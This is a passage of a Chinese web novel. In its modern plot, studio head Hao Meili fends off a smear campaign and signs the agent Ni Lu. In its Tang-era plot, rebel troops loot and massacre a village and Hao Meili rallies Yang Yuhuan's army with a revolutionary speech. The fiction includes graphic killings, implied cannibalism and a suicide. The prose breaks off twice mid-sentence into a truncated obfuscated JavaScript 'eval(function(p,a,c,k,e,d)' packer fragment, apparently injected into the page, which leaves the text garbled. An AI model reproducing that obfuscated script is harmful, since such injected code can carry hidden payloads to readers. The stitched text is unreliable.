“关于剧本,我现在明确说一次。” “《凤起长安》没有男一号。” “只有女一号,独自抗一番。” 李嘉豪脸色骤变,脱口而出:“郝总!可是市场……” 郝美丽看都没看他,对身后的保安说:“清场。” 两名保安立刻上前,一左一右站到李嘉豪身边,其中一人伸出手,做了一个“请”的手势。 李嘉豪愣住了,随即涌起巨大的羞辱和惊恐:“凭什么?郝总!我是为了公司好!我……” “凭这里我说了算。”郝美丽终于看向他,“你的意见我不需要,现在,离开我的公司。” 保安不再客气,架住李嘉豪的胳膊就往外拖,李嘉豪挣扎起来,脸色涨红,嘶声大喊:“郝美丽!你独断专行!你这个破公司迟早要完!你们等着,什么大女主剧,等着扑街吧!你们……” 声音越来越远,最终消失在门外。 训练场内一片死寂,落针可闻。 郝美丽不再看门口,转而面向所有学员,继续道:“还有谁对我的决定有意见?或者,对这个项目没有男一号的安排不满意?” 没人敢说话,所有人的呼吸都放轻了。 “如果没有人说话,”郝美丽点了点头,“那我就当你们听懂了,也接受了。” “记住,你们所有人目前都只是训练生,没有和公司签订艺人合约,公司的项目方向,由我定。接受,就留下,继续训练,不接受——就走人。” 全场静默,空气仿佛凝固。 郝美丽这才看向额头冒汗的王硕,道:“王制片,你作为现场负责人,管理不力,导致内部意见纷争,扣半年薪水,今年奖金减半,有异议吗?” 王硕脸色一白,嘴唇动了动,最终深深低下头:“没有异议,郝总,是我失职。” 处理完王硕,郝美丽走到林香凝面前。林香凝眼眶微红,紧紧咬着嘴唇,看着郝美丽,郝美丽伸手,轻轻拍了拍她的肩膀,声音缓和下来:“你没错,坚持你该坚持的。” 林香凝的眼泪差点夺眶而出,用力点了点头。 “从今天起,”郝美丽提高声音,宣布道,“《凤起长安》项目,总编剧和制片人同级,林香凝不再受王硕主管,两人直接向我汇报,共同对项目负责。” 说完这些,郝美丽似乎不打算再多留,她转身,准备离开时,目光在掠过人群,停在了晏山槐身上。 “晏山槐,”她开口,“你来一下我办公室。” 然后,不等任何人反应,郝美丽径直穿过自动分开的人群,离开了训练场,留下了心有余悸的众人。 晏山槐在众人的注视下,默默整理了一下作训服,迈步,朝着郝美丽离开的方向跟了上去。 这个女一号,她当定了。 晏山槐心想。 34.第 34 章 郝美丽办公室。 晏山槐站在办公桌前,看着郝美丽打开保温杯,喝了一大口热水,这个多月不见,郝总看上去瘦了些,眼下有淡淡的青色,脸上也带着倦色。 “坐。”郝美丽指了指对面的椅子,晏山槐依言坐下。 “这段时间忙得顾不上公司,”郝美丽放下杯子,语气里带着一丝难得的歉意,“让你一个人面对那些议论,抱歉。” 晏山槐摇摇头:“郝总,我没关系。” “我知道你没关系,”郝美丽笑了笑,“不然我也不会签你。不过,山槐,你是郝美影视第一个签约的艺人,不能再像以前那样单打独斗了。” 晏山槐心头一动。 “从明天开始,公司会正式为你配备经纪团队,”郝美丽继续说,“经纪人、助理、造型师,该有的都会到位。你是我们的门面,也是我们的标杆,得立起来。” “谢谢郝总。”晏山槐认真地说。 “不用谢我,”郝美丽摆摆手,“这是你应得的,但你得明白,团队到位只是开始,真正的路,还得靠你自己走出来。” “我明白。” “好,”郝美丽站起身,“明天上午九点,跟我去见个人吧。” * 第二天上午,郝美丽带着晏山槐和一名助理,驱车前往城市另一端的一栋写字楼。 电梯在十七层停下,门开,一个三十出头,穿着剪裁得体的灰色西装套裙的女人已经等在门口,她妆容精致,长发在脑后挽成一个利落的发髻,鼻梁上架着一副细框眼镜。 “倪露,”女人伸出手,“幸会,郝总。” “郝美丽,”郝美丽握住她的手,“麻烦你抽时间了。” “应该的,”倪露侧身,“里面请。” 倪露的办公室不大,但布置得很有品味,一整面墙的书架上摆满了影视相关的书籍和奖杯,办公桌整洁,她在会客区的沙发坐下,示意郝美丽和晏山槐坐在对面,助理安静地退到一旁。 “郝总年轻有为,”倪露开门见山,“这么年轻就进入影视行业,还一出手就是这么大的项目,很少见。” “年轻有时候是劣势,有时候也是优势。”郝美丽说。 “哦?”倪露挑了挑眉,“怎么说?” “劣势是经验不足,容易踩坑,”郝美丽很坦然,“优势是没那么多条条框框,敢想敢做,而且我用的都是自己的钱,亏了赚了,自己担着,不用看投资人脸色。” 倪露点点头:“资本自有确实是优势,但在这个行业,有时候人脉比金钱更重要。郝总应该知道,没有关系,没有圈子,很多事情寸步难行。” “那是以前。”郝美丽说。 “以前?” “现在的观众,已经不是十年前、二十年前的观众了,”郝美丽身子微微前倾,看着她说,“靠大牌堆砌、靠人脉关系拿资源、靠营销炒作糊弄人的时代正在过去。观众要的是好故事好表演用心的制作,这些东西,人脉给不了,只能靠实打实做出来。” 倪露沉默了几秒,目光转向一直安静坐着的晏山槐:“所以你要签约的艺人,就是她?” “是。” “恕我直言,”倪露说得直接,“晏小姐的外形在娱乐圈并不算出众,不足以作为一张王牌来打。” “我没打算培育偶像流量艺人,”郝美丽也直截了当,“我要的是实干型演员,能吃苦,肯钻研,有追求,外形可以雕琢,但心性能力态度雕琢不来。” 倪露看着郝美丽,轻轻摇了摇头,吐出两个字:“天真。” 郝美丽笑了,没反驳。 “如果失败了呢?”倪露继续问,“影视投资失败的例子,我见得不少。大制作、大投入,最后血本无归的,比比皆是。” “那就失败,”郝美丽说得很平静,“但总要试一试,试过了,努力过了,总比什么都没做强。” 倪露又摇头:“愚蠢。” 郝美丽嘿嘿一笑,又不说话了。 办公室里安静了片刻,倪露的目光在郝美丽和晏山槐之间来回扫过,最后定格在郝美丽脸上:“那么,郝总今天来找我,是想让我加入你们这个天真又愚蠢的计划?” “是。” “凭什么?”倪露问,“或者说,你用什么打动我?” 郝美丽坐直身体,看着倪露的眼睛,一字一句地说:“尊重、自由、努力、不辜负。” 倪露愣了一下。 “我尊重专业的人做专业的事,”郝美丽继续说,“给你足够的自由去做你认为对的事,我们一起努力,不辜负观众的期待,也不辜负自己的付出,就这么简单。” 倪露没有说话,良久,她的目光转向晏山槐:“晏小姐,你呢?你怎么想?” 晏山槐深吸一口气,抬起头,迎上倪露审视的目光:“倪老师,郝总说得对,我确实不是外形条件最好的,但我会是最努力最上进的那一个。” 她从随身的包里拿出一个厚厚的文件夹,双手递给倪露:“这是我从业这几年所有的训练记录学习笔记,还有对您之前带过的几位艺人的作品分析。” 倪露接过文件夹,翻开。里面是密密麻麻的手写笔记,字迹工整,条理清晰,有表演理论的心得,有角色分析的框架,甚至还有对倪露带过的几位实力派演员的表演片段拆解,几乎每一个眼神每一句台词,都做了标注。 “我知道自己的起点不高,所以我要付出比别人多十倍、百倍的努力。我会尽最大努力配合工作,不断学习,不断突破。外形可以雕琢,演技可以磨炼,但态度和决心,是我现在就能拿出来的全部。” 倪露一页页翻看着那些笔记,最后,她合上文件夹,抬眼看向晏山槐,嘴角终于露出一丝笑意。 “总算有个优点,”倪露说,“知道自己要什么,也知道怎么去要。” 她将文件夹放在茶几上,重新看向郝美丽:“郝总,虽然你们公司刚成立,很多东西都不完善,但如果你要我加入,我有一个条件。” “你说。” “我要经纪总监的岗位,”倪露说得很明确,“负责以后郝美影视旗下所有的经纪人和艺人,我有我的标准和方式,在这块,我需要绝对的自主权。并且,项目分成的比例,我要行业最高。” 郝美丽没有立刻回答,她靠在沙发背上,沉思了片刻,然后点了点头:“可以。” “好,”倪露也不拖泥带水,她从身旁拿出一个平板电脑,解锁,推到郝美丽面前,“另外,我看过你们公司的架构,目前没有专门的公关部门。这块我可以暂时兼任,等找到合适的团队再移交,不过年底奖金要给我翻倍哦~” 郝美丽笑了:“成交。” 她接过平板,屏幕上是几篇正在编辑的稿件和社交媒体截图,标题一个比一个刺眼: 《境外势力渗透?大美丽插手中影圈内幕》 《神秘女老板的真实身份是小三?》 《训练基地实为选妃场?解密某新兴影视》 配图是一些模糊的偷拍照,有郝美丽进出公司的,有训练基地外景的,甚至还有几张晏山槐和郝美丽同框的画面,被刻意裁剪得暧昧不清。 “这是……”郝美丽皱眉。 “有人动手了,”倪露的语气很平静,“娱乐圈的老把戏,我通过一些渠道提前拿到了这些消息,几家八卦媒体收了钱,正准备分批放出来。” 郝美丽滑动屏幕,看着那些不堪入目的标题和所谓爆料,脸色沉了下来。 * 同一时间,某间出租屋里。 李嘉豪盯着电脑屏幕上银行账户的到账通知,嘴角咧开一个笑容,五万块,不多,但足够他撑一阵子了。 他关掉网页,打开另一个对话框,给那个熟悉的联系人发去消息:“视频素材已经发你们邮箱了,都是训练基地内部的实拍,什么时候放出来?” 对方很快回复:“明天开始陆续放,钱收到了?” “收到了。” “合作愉快。记住,别说漏嘴。” “放心。” 李嘉豪关掉对话框,靠在椅子上,长长舒了一口气。郝美丽,你不是牛逼吗?不是要清退我吗?我看你这下怎么收场! 他打开招聘网站,开始投简历。虽然被郝美影视赶出来有些丢脸,但他相信,凭自己的条件,总能找到下家,等郝美影视被这些黑料搞垮,看谁还敢用晏山槐那种只会拍马屁的女人! 临睡前,李嘉豪习惯性地刷了刷微博,突然,一条热搜以惊人的速度攀升:#郝美影视百人演技大逃杀# 他点进去,看到郝美影视官方账号刚发布的公告: 【郝美影视大型演技竞技综艺《演技的诞生》正式启动!节目将集结郝美影视训练基地50名新人+面向社会公开招募50名表演爱好者,共计100人,进行为期一个月的演技比拼,最终胜出者将获得出演郝美影视S级项目《凤起长安》的重要角色,并签约郝美影视。 同时,为回馈社会,郝美影视将向@慈善总会捐赠1000万元,用于贫困地区艺术教育扶持项目,郝美影视旗下首位签约艺人@晏山槐宣布,将捐献未来一年所有演艺活动税后收入,用于同一慈善项目 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李嘉豪接起来,还没开口,对方声音就传了过来:“李嘉豪,我们收到郝美影视的律师函了。他们态度非常强硬,一点也不松口,非要告到底,你提供给我们的那些料,我们会原封不动地转交给他们,包括你的联系方式和个人信息。” “什么?!”李嘉豪差点跳起来,“你们不是就靠这个吃饭吗?怎么还怕她们?她们一个刚成立的公司……” “刚成立的公司能直接找到我们老板,还能让平台方立刻下架所有相关稿件?”对方的声音带着压抑的怒气,“李嘉豪,我告诉你,这次我们被你坑惨了。你自己惹的事,自己兜着,等着收法院传票吧你!” “等等!你们不能这样!我们之前说好的……” “嘟嘟……”电话被挂断了。 李嘉豪呆坐在床上,手机从手中滑落,掉在地上,他愣了几秒,突然发疯似的抓起手机,想再拨回去,却发现已经被拉黑了。 他瘫倒在床上,盯着天花板,脑子里一片空白,完了!全完了!黑料没放出去,自己反而要被起诉。郝美影视不但没垮,还借着这波热度,把慈善和综艺一起推了出来,赚足了口碑。 怎么会这样?那个郝美丽到底什么来头? 李嘉豪想起自己在训练基地偷偷拍下的那些视频,想起自己信誓旦旦对八卦媒体说的那些话,想起郝美丽在训练场上看他那个眼神…… 他猛地坐起来,抓过手机,想上网看看舆论风向,刚解锁,屏幕上方弹出一条推送:【郝美影视官宣:著名经纪人倪露正式加盟,担任经纪总监】 倪露?那个带出过好几个实力派演员的倪露?她怎么会去郝美影视? 李嘉豪点开新闻,看到倪露的官方声明:“很高兴加入郝美影视这个充满激情和诚意的团队,我欣赏郝总对内容的坚持,也对晏山槐这样的新人演员充满期待。未来,我们将一起打造真正属于演员的舞台。” 评论区又是一片沸腾。 李嘉豪看着手机屏幕上那些赞美,看着郝美影视节节攀升的热度,看着晏山槐那张坚定的脸,突然觉得一阵眩晕。 他输了,输得一败涂地。 出租屋里安静得可怕,只有窗外隐约传来的车流声,李嘉豪倒在床上,用被子蒙住头,终于控制不住痛哭出声。 而城市另一端,郝美丽放下倪露递给她的平板,看着屏幕上那条不断攀升的热搜,轻轻呼出一口气。 “反应很快。”倪露评价道。 “是你准备得充分,”郝美丽说,“那些黑料,你早就知道了?” “做这行消息不灵通不行,”倪露笑了笑,“不过我也没想到,你会用这种方式反击,综艺加慈善,一步到位,既展示了实力,又立住了口碑,不错。” “被逼的,”郝美丽耸耸肩,“既然有人想玩脏的,那我就把桌子擦干净,摆上真东西,请大家看清楚。” 倪露点点头,目光转向一直安静坐在旁边的晏山槐:“晏小姐,接下来你会很忙,准备好了吗?” 晏山槐站起身:“我随时可以开始。” 郝美丽的手指却在桌上轻轻一叩,道:“山槐,这个综艺对别人来说是机会,对你却是战场,一百人里,你只能拿第一。没有如果,没有但是,明白吗?” 晏山槐握紧了手,点点头说:“我明白。” 随着这句话落下,新的战场开始了。窗外,城市的灯火次第亮起,又是一个夜晚降临,郝美丽突然发现,她有女儿要拯救,有故事要讲述,现在,又有了值得信任的伙伴。 感觉还算不错。 “那就开始吧,让我们一起把事情做好。” 35.第 35 章 范阳,李归仁站在舆图前,他身材魁梧,面色黝黑如铁,此刻紧锁着眉头看着舆图,那条自琅琊北上的道路,离范阳并不算远。 杨玉环要来了。 安禄山被一炮轰成血雾的场景,他虽未亲眼所见,但他听说了,每一个亲眼所见的士卒,都生不起一点反抗之心,似乎料定了他们绝对赢不了。 可他李归仁却不信。 他可是跟着安禄山从范阳起兵,一路杀进长安,尸山血海里趟出来的北平王!李唐的皇帝他们能推翻,潼关的二十万大军他们能击溃,难道一个不知从哪里冒出来的仙子,带着区区五千人,就能凌驾于他们十万虎狼之上? 他绝不信! “妖法再诡,能杀一人十人,难道还能杀尽我十万大军?”李归仁一拳砸在舆图上,震得木架嗡嗡作响,“我李归仁戎马半生,从不信命,更不认命!” “什么妖魔鬼怪,就算是玉帝,我也要将他拉下马!” “不就是打战,我打了几十年的仗,难道还怕她不行?”这句话落下,李归仁的心却没有骄横,他成名至今,绝不是只有匹夫之勇,就算对方只有五千人,他亦会严阵以待。 他思虑几息后,转身,对着殿外厉声喝道:“传令!” 殿外亲兵应声而入。 “令!幽州各城,即刻起,所有十五岁以上、五十岁以下男丁,悉数登记造册,随时听调!为抵挡妖妃,保境安民,每户需缴纳太平钱,按人丁计,每人一两白银!” “此外,民间所有铁器,一律收缴,充作军资,铸造兵器甲胄!胆敢藏匿不交或抗命不尊者……” “立斩!” “遵命!” 看着传令兵远去的身影,李归仁眯起了眼睛,此番,必斩了你杨玉环! 于是,一队队打着大魏旗帜的传令兵,冲出范阳,奔向四面八方的大小城池村镇,马蹄踏起的尘土尚未落定,催命的铜锣就已响彻。 “听令!北平王有令!为抗妖妃,保家乡太平,每户按人头缴太平钱,一人一两!民间所有铁器,全数上缴!违令者,杀无赦!” 某个小村庄里。 村东头的老赵家,有五口人——赵大、他媳妇惠娘、两个孩子,还有年迈的老娘,听完里正说的王令,惠娘的脸唰地白了。 “五两银子……”她声音发颤,抓着丈夫赵大的胳膊,“当家的,就是把咱们全家都卖了,也凑不出五两银子啊!” “还说要所有铁器,咱家的锄头菜刀都交上去,往后地怎么种?饭怎么做?” 赵大也有些慌,莫说现在,就是在丰年,攒一年他也攒不了一两银子,又如何掏得起五两?他黝黑的脸上满是愁苦。 “当家的,要不……”惠娘想了很久,才在他耳边说,“咱们逃吧!趁夜里,带上娘和孩子,往山里跑!” “逃?往哪逃?”赵大抬起头,“兵荒马乱的,到处是兵是匪,哪座山上没有野狼大虫?咱们拖家带口,能跑到哪里去?出去就是死路一条!” 惠娘望着丈夫,清醒了过来。她知道,丈夫说的对,他们一家五口,两个大人,两个孩子,还有一位年迈的老娘,逃?逃哪里去,逃不掉的…… 惠娘低下头,不再说话。 两个人肩膀挨着肩膀,像两个苦瓜。 最后,赵大涩声道:“再等等看……村里又不是咱一家,大家都交不起,法不责众,或许,或许,或许上官能体谅咱们的难处,少交点……” 这话到了惠娘耳朵里,她觉得不对,可她也没别的法子,难道她还能变出五两银子不成?她低低的点了点头。 第一次催缴的官兵来了,凶神恶煞的。 有胆大的村民上前,哭诉实在拿不出银子,为首的队长骂骂咧咧,抽了那人几鞭子,但终究没杀人,大家的心稳了一些。 “妈的,穷鬼!”队长啐了一口,“老子也知道你们难!可上头逼得紧,老子也得交差啊!” 村长一听这话,立马说:“官爷,小老儿知道规矩,这是一点孝敬,您快收下,快收下……” 那队长收了村长给的银子,总算把鞭子放下了,他又说:“我也知道,你们都是地里刨食的,哪能掏出来这一大笔钱?” 村长苦着脸,弓着身子,连连点头:“对对,官爷,不是我们不愿意交,实在是拿不出来啊,这村里一百多人,别说一两银子,就是十个铜板都难掏出来……” 队长却没看他,说:“你们难,我也得交差不是?你们也别为难我,银子没有,粮食总有吧?先拿粮食顶一部分!总算成吧?” 村长看了看这些官兵,又回头看了看村民,点了头。于是,村民们回家,把本来就不多的存粮,甚至一些留着过冬的干菜,都搬了出来,堆在村口,官兵们粗略估了估,骂骂咧咧地装上车,扬长而去。 这一关算是过了。 看着粮车远去,赵大松了口气,对惠娘说:“你看,还好没逃,官兵也没那么不讲理。粮食虽然没了,但人还在,地还在,熬过这阵,总有活路……” 惠娘心里那根弦却没松下来,她总觉得不安。 她的预感很快应验。 第二天,那队官兵又来了,这次,口径变了:“上官说了,粮食不够!把值钱的东西统统交出来!” 这次村长有点慌乱,说:“官爷,你瞧我们这村,砖瓦都没一块,哪里有什么值钱的东西?” 那队长却把脸一摆,说:“不交?那我自己搜!” 一声令下,官兵挨家挨户地搜,锅碗瓢盆,鸡鸭蔬菜,都被抄走。最后还冲进了村里的祠堂,将供桌上几件不知传了多少代的铜香炉烛台,一并打包了。 整个村子哭声一片,可看着明晃晃的刀,没有人敢反抗,等官兵走后,赵大想,这回总算完了吧。 可第三天,来的官兵更多了,杀气也更重。 这一次,连抵账的借口都没了,那些官兵们一家家的搜,要将所有的存粮全都抢走。村民们终于意识到不对劲,几个血性汉子挡在自家地窖前,红着眼睛喊:“官爷,粮食都交光了,我们吃什么?这是要逼死我们吗?” “逼死?”带队校尉冷笑一声,挥了挥手。 刀光闪过,挡在最前面的两个汉子惨叫都没来得及发出,就倒在了血泊里,所有人都被这突如其来的杀戮吓傻了。 “继续搜!” 官兵们如狼似虎地冲进每家每户,翻箱倒柜,掘地三尺,地窖里藏的最后一点种子粮,墙缝里塞的救命干粮,甚至炕洞里藏的一点杂面…… 赵大眼睁睁看着自家最后半袋黍子被夺走,那是他偷偷埋在地下留给老娘和孩子的。他想扑上去抢,被惠娘死死拉住,女人捂着他的嘴,眼泪簌簌往下掉,拼命摇头。 等到最后,官兵满载而去,留下的是一个被掏空的村庄,和地上几具尸体。赵大这才瘫坐在自家门口,望着空荡荡的院子,大哭起来:“没了!全没了!粮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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官兵如狼似虎的兵卒一拥而上,扭住惠娘,扯过哭喊的孩子,赵大目眦欲裂,挣扎着爬起来想冲过去,又被踹倒。 “官爷,我愿意去当兵!我去服徭役!求求您,放过我老婆孩子吧!她们……”赵大被踹倒在地,磕掉了门牙,混着血水哭喊着。 可没人听他的。 这群官兵锁了村里所有人,男人一队,女人孩子一队,排着队进了军营,赵大被送到了奴役处,他看不见他的妻儿了。 他哭喊着问,问他的妻儿哪里去了。 旁边一个同样被绑住的村民,面如死灰,低低说了一句:“女人,只会被送去做军妓了,孩子……” “许是送去军粮处……” 军粮处? 起初,赵大还没反应过来,他的孩子才几岁,做不了饭啊!可下一瞬,他又明白了。 于是,赵大疯了。 他不知哪来的力气,挣脱了压制,赤手空拳扑向最近的官兵,可刀光一闪后,赵大就死了。 夜晚,赵家破败的土坯房里,赵大年迈的老母亲呆呆地坐在土炕上,她颤巍巍地下了炕,在空荡荡的屋子里走了一圈,灶台冰冷,粮缸见底,连喝水的破碗都没剩下一个,家里只剩下她这个老东西了。 没有一点声响,空荡荡的。 老太太走到房梁下,慢慢解下自己的裤腰带。 她将腰带抛过房梁,打个结,把头伸了进去。 然后,踢倒了垫脚凳。 * 范阳城头,李归仁眺望南方,踌躇满志。 他的十万大军严阵以待,有了崭新的盔甲,有了足够的存粮,他等着那个不知天高地厚的女人,还有她可笑的五千兵马。 “杨玉环,”他冷哼一声,手按剑柄,“我等你来!” 36.第 36 章 河北景州,阜城县。* 官道两旁,田地荒芜,杂草长得比人还高,越往前走,一股令人作呕的气息越发明显,道路左侧,一片稀疏的枯树林里,黑压压一片东西正在蠕动。 杨玉环勒住了马。 她身后,五千人的队伍也缓缓停下。 是成百上千只乌鸦,密密麻麻地聚在一起,它们嘶哑的叫声汇成一片,嘈嘈切切,忽高忽低,沉闷如雷。 它们在啄食什么? 杨玉环策马往前走了几步,目光穿透那片晃动的黑色。 她看清了。 那些是尸体。 横七竖八,有男有女,有老有少,大多衣不蔽体,瘦得只剩一把骨头。有些已经腐烂得面目模糊,有些却还留着临死前挣扎的姿态,乌鸦们就在这些尸身上起落,尖喙啄开皮肉,带出暗红的内脏和森白的骨茬。 “呕”,队伍里传来压抑不住的干呕声。 顾大七也站在队列里,只觉得一股寒气从脚底板直冲天灵盖,胃里翻江倒海,却又空空如也,什么也吐不出来。 他死死咬着牙,盯着那片黑鸦,眼眶却不由自主地红了,这些……这些曾经也是活生生的人啊。 杨玉环静静地看着,她见过死人,杀过人,在马嵬坡,在兴始县,在琅琊,可眼前这般景象,如何也不曾见过。 “继续走。”她听见自己的声音说。 队伍重新动起来,沉默地绕过那片枯林,乌鸦被惊动,轰然飞起一片,盘旋在低空,依旧聒噪不休,仿佛在催促这群不速之客赶紧离开它们的筵席。 进了阜城县,更是死寂。 城门半塌,无人看守,街道上空荡荡的,两旁的屋舍门窗洞开,风卷着尘土和碎纸,在长街上打着旋儿,偶有野狗窜过,警惕地看他们一眼,又迅速消失在断壁残垣之后。 一处石阶上,坐着一个人。 是个老者,须发皆白,乱糟糟地披散着,遮住了大半张脸,他身上裹着一件辨不出颜色的破袄,缩在那里,一动不动。 达奚瑜策马上前,在离他几步远的地方停下,轻声问:“老人家,这城里其他人呢?” 老者没有反应,连眼皮都没抬一下。 薛荣翻身下马,走到老者身边,蹲下身,他这才看清,老者脸上布满深深的污垢,嘴唇干裂起皮,眼睛半睁半闭,他继续…… 薛荣解下自己的水囊,拔开塞子,小心地凑到老者唇边,喂了一点水,又掰下一小块粗糙的饼,想塞进他手里。 老者枯瘦的手指动了动,却没有去接饼,他喉头滚动了几下,回答达奚瑜的问题:“城中百姓,半死贼刃,半死饥馑……” 薛荣没听清,俯身贴近:“您说什么?” 老者喘了几口气,才缓慢答道:“几千人,全没了,就剩我这没用的老东西……” 薛荣终于听清了,他愣住了。 杨玉环不知何时也走了过来,站在薛荣身后,她看着老者,张了张嘴,想问什么,想说什么,可话到了嘴边,又咽了回去。 问什么呢? 知道了答案,又能如何? 薛荣默默地将那块饼塞进老者虚握的手里,又将水囊放在他身边,老者似乎感觉到了什么,他颤巍巍地抬起手,拍了拍薛荣放在包裹上的手背,一下,又一下。 他仰起头,望着灰蒙蒙的天空,道: “寂寞天宝后,园庐但蒿藜。” “我里百余家,世乱各东西。” “存者无消息,死者为尘泥……”* 念完最后一句,他呼出一口气,那口气吐尽,他按在薛荣手背上的手,松了力道,滑落下去。 他就这样坐着,咽了气。 薛荣僵在原地,保持着蹲伏的姿势,半晌没动,周围的金吾卫士卒,全都沉默地看着,风更大了,卷起地上的沙土,扑在脸上,生疼。 “走吧。”杨玉环转过身,重新上马。 队伍再次启程,离开了这座死城,出城路边,倒毙的尸骸不再成群,却零星不断,有的蜷缩在道旁沟渠里,有的趴伏在田埂上,有的甚至就倒在官道中央,被往来零星车马碾过,不成形状。 见惯了尸体。 却见不到几个活着的百姓。 偶尔,在极远处的荒村轮廓里,似乎有微弱的炊烟升起,但转瞬就被风吹散,不知是真实,还是绝望中的幻觉。 一路走过去,马蹄声、脚步声、车轮滚动声,都显得格外沉重,天光渐渐暗淡,四野苍茫,仿佛真的行走在黄泉路上。 到了该安营扎寨的时候,没有人说话,所有人都默默地干着自己的活儿,顾大七和他的同伴们围在一起,手脚不停。 他们搬石头垒灶台,抱来枯枝,又觉得柴不够干,四处去寻找更易燃的,每个人都忙忙碌碌,停不下来,他们不知道自己在做什么,又似乎必须得做点什么。 篝火点燃了,噼啪作响,没有人交谈,连往日最活泼爱闹的几个,此刻也抱着膝盖,盯着火焰,眼神空洞。 杨玉环独自坐在稍远一些,背靠着一块大石。 她手里不知何时多了一个不大的皮囊,拔开塞子,仰头灌了一口,劣质的酒液灼烧着她的喉咙,带来一阵辛辣的刺痛。 她一口接一口地喝着,目光投向跳跃的火焰,又仿佛透过火焰,看到了马嵬坡的泪,看到了长安殿上的血,看到了王老爷肥胖头颅滚落,看到了颜真卿苍白的脸,看到了枯坐而逝的老者…… 渐渐地,整个营地都彻底安静下来,除了火舌舔舐木柴的噼啪声,就只有呼啸的风声,五千人,如同五千尊泥塑,围着篝火,沉默着。 就在这片安静几乎要将人逼疯的时刻。 一片柔和的光晕,在空地上泛起。 是上仙!上仙又降临了! 光晕过后,郝美丽的身影显现出来。 与以往不同,光晕并未立刻散去,反而向外扩散,光晕笼罩之处,一匹匹战马,战马之后,是堆叠如山的盔甲。 五千匹战马,五千套盔甲,数不尽的兵刃弓弩,就这么凭空出现,仙家手段!果然是仙家手段! 杨玉环也站了起来,手中的酒囊滑落在地也浑然不觉,她一步步走过去,穿过自动分开的人群,走到郝美丽面前。 “妈妈……” ,杨玉环低低地唤了一声。 郝美丽伸出手,用力握了握她冰凉的手,又看向周围那一张张被苦难麻木的面孔,她拉着杨玉环的手,转身走向一处高坡,两人并肩站了上去。 底下,五千双眼睛,齐刷刷地聚焦在她们身上。 郝美丽清了清嗓子,道:“这次,我给你们带来了马匹,带来了盔甲,带来了兵器。” “你们之中或许有人在想,玉环可能也在心中问,” 郝美丽侧头看了一眼杨玉环,又转回目光,“为什么是这些?为什么不是那种能一炮轰杀安禄山的仙器?为什么不是那种更快、更厉害、更能轻易取胜的武器?” 这话问到了许多人的心坎里。 是啊,若有那般神器,何惧十万叛军?何至于一路看到这般惨景而无力骤改? 郝美丽将所有人的神色收入眼底,沉默后,才道:“因为,这世界上最强大的,从来就不是什么武器装备,不是什么仙法神器。” 此言一出,满场愕然。 不是仙器?那是什么? 郝美丽等待了几息,让这困惑发酵,她看着所有人,道:“这世界上最强大的武器,就是你们!” 议论声戛然而止。 他们?他们这五千人?如何与叛军十万之众相比? “在回答这个问题之前,我想问问诸君,我们——是为什么而战?” 台下沉默了片刻。 然后,才有迟疑的回答开始响起: “为了有个前程,当个官,光宗耀祖……” “为了不再挨饿,有条活路……” “为了不再被当官的随意打骂,像条狗……” “为了给爹娘兄弟……挣一口饭吃……” “为了仙女娘娘,跟娘娘走……” “没错!”郝美丽大声肯定,“想要当官,想要活路,不想被欺辱,想要吃饱饭,这都没错,可是,这一路走来,这世道有给我们机会吗?” 这句话落下,所有人都更沉默了。 “在这个世道,官大的吃官小的,官小的吃兵卒,兵卒没得吃了,就去吃百姓,百姓被吃得活不下去了,就硬而走险造反,想推翻皇帝,自己当老爷!” “然后呢?新的皇帝上台,又开始新一轮的吃!吃来吃去,循环往复,几百年,上千年!从来没有停歇的时候!死的是谁?苦的是谁?是我们,是我们的父母妻儿,是这千千万万的普通百姓!” “诸君,这个世道是不对的!所以,我们为什么不能砸碎这个吃人的世道?为什么不能让这个永远在循环的痛苦,彻底消失?” 彻底消失? 这个词太过震撼,太过匪夷所思,以至于许多人张大了嘴,却发不出任何声音。千百年来不都是这样吗?皇帝、老爷、当官的、当兵的、百姓…… 一层压一层,天经地义! 消失?怎么消失? 长久沉默,只有夜风呼啸。 突然,顾大七向前一步。 “上……上仙!”他喊着,眼泪不知何时已经涌了出来,“我爹我娘,我大哥,都是饿死的!我二哥被拉去服徭役,再没回来!我好不容易长大了,又被抓来当兵,给那些老爷们卖命……” “这难道不对吗?我的命不该是这样吗?” 这个问题他想问太久太久了,久到成为他的执念,可他地位低下,人人瞧他不起,他嘴里的话当然没人听,也没人在乎,可他还想问,直到今日终于问出口。 郝美丽的目光落在顾大七泪水纵横的脸上,道:“自然是不对的!” “顾大七,你的命,不该是这样!任何一个人的命,都不该被这样轻贱,这样糟蹋!” 顾大七的泪水流得更凶了,他想再问,想问很多,可千言万语堵在喉咙里,只有热泪两行,他再也问不出口了。 他问不出口了,还有别人嘶哑着声音问:“可当官的老爷们享福,咱们百姓吃苦,这不是……不是自古以来的道理吗?” “从来没有什么自古以来的道理!” “当官的如果不是为民办事,而是为了骑在百姓头上作威作福,剥削压榨,那这个官,不当也罢!这顶乌纱帽,就该被踩进泥里!” 她环视众人,道:“从来没有人生下来,就是为了受苦的!只要生而为人,就有追求吃饱穿暖、平安喜乐、有尊严地活着的权利!这是天赋予每个人的,谁也不能剥夺!” “上仙……”一个颤抖的声音问,“您说这个,是像您所在的仙界那样吗?没有饿死,没有战乱,老爷们也不欺负人?” 所有人都屏住了呼吸,看向郝美丽,看向他们眼中的上仙,郝美丽面对每一双眼睛,这一双双看着她的眼睛。 “从来就没有什么救世主,也不靠神仙皇帝!”* 这句话石破天惊,震得所有人头脑嗡嗡作响。 “我所在的世界,能让人有尊严地活着,不是靠哪个神仙施舍,也不是靠哪个皇帝恩赐!” “是靠一代又一代,千千万万不甘被压迫、被奴役的普通人,团结起来,流血牺牲,前赴后继,一点一点斗争来的!是靠我们自己的双手和头脑,创造出来的!” “我也从来不是什么上仙,我只是一个和你们一样的普通百姓。我们那里,早就没有什么老爷了!任何想当老爷想骑在别人头上作威作福的人,都会被彻底地打倒!” “打倒老爷……” “没有老爷……” 一个满脸风霜的老兵,忽然哭了出来,他又哭又笑,似喜似悲,哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“成功,从来不是嘴上说说就能得到的。它需要用血,用汗,用泪,用无数次失败后的爬起,用前赴后继的生命,去战斗!去争取!才有可能,在黑暗里获得一丝希望的光!” “那么,我现在请问诸君——” “为了不再有阜城县外的鸦群食人,为了你们自己,也为了千千万万和你们一样的父母妻儿,不再受这轮回般的苦难……” “你们,愿意为此而战吗?” * 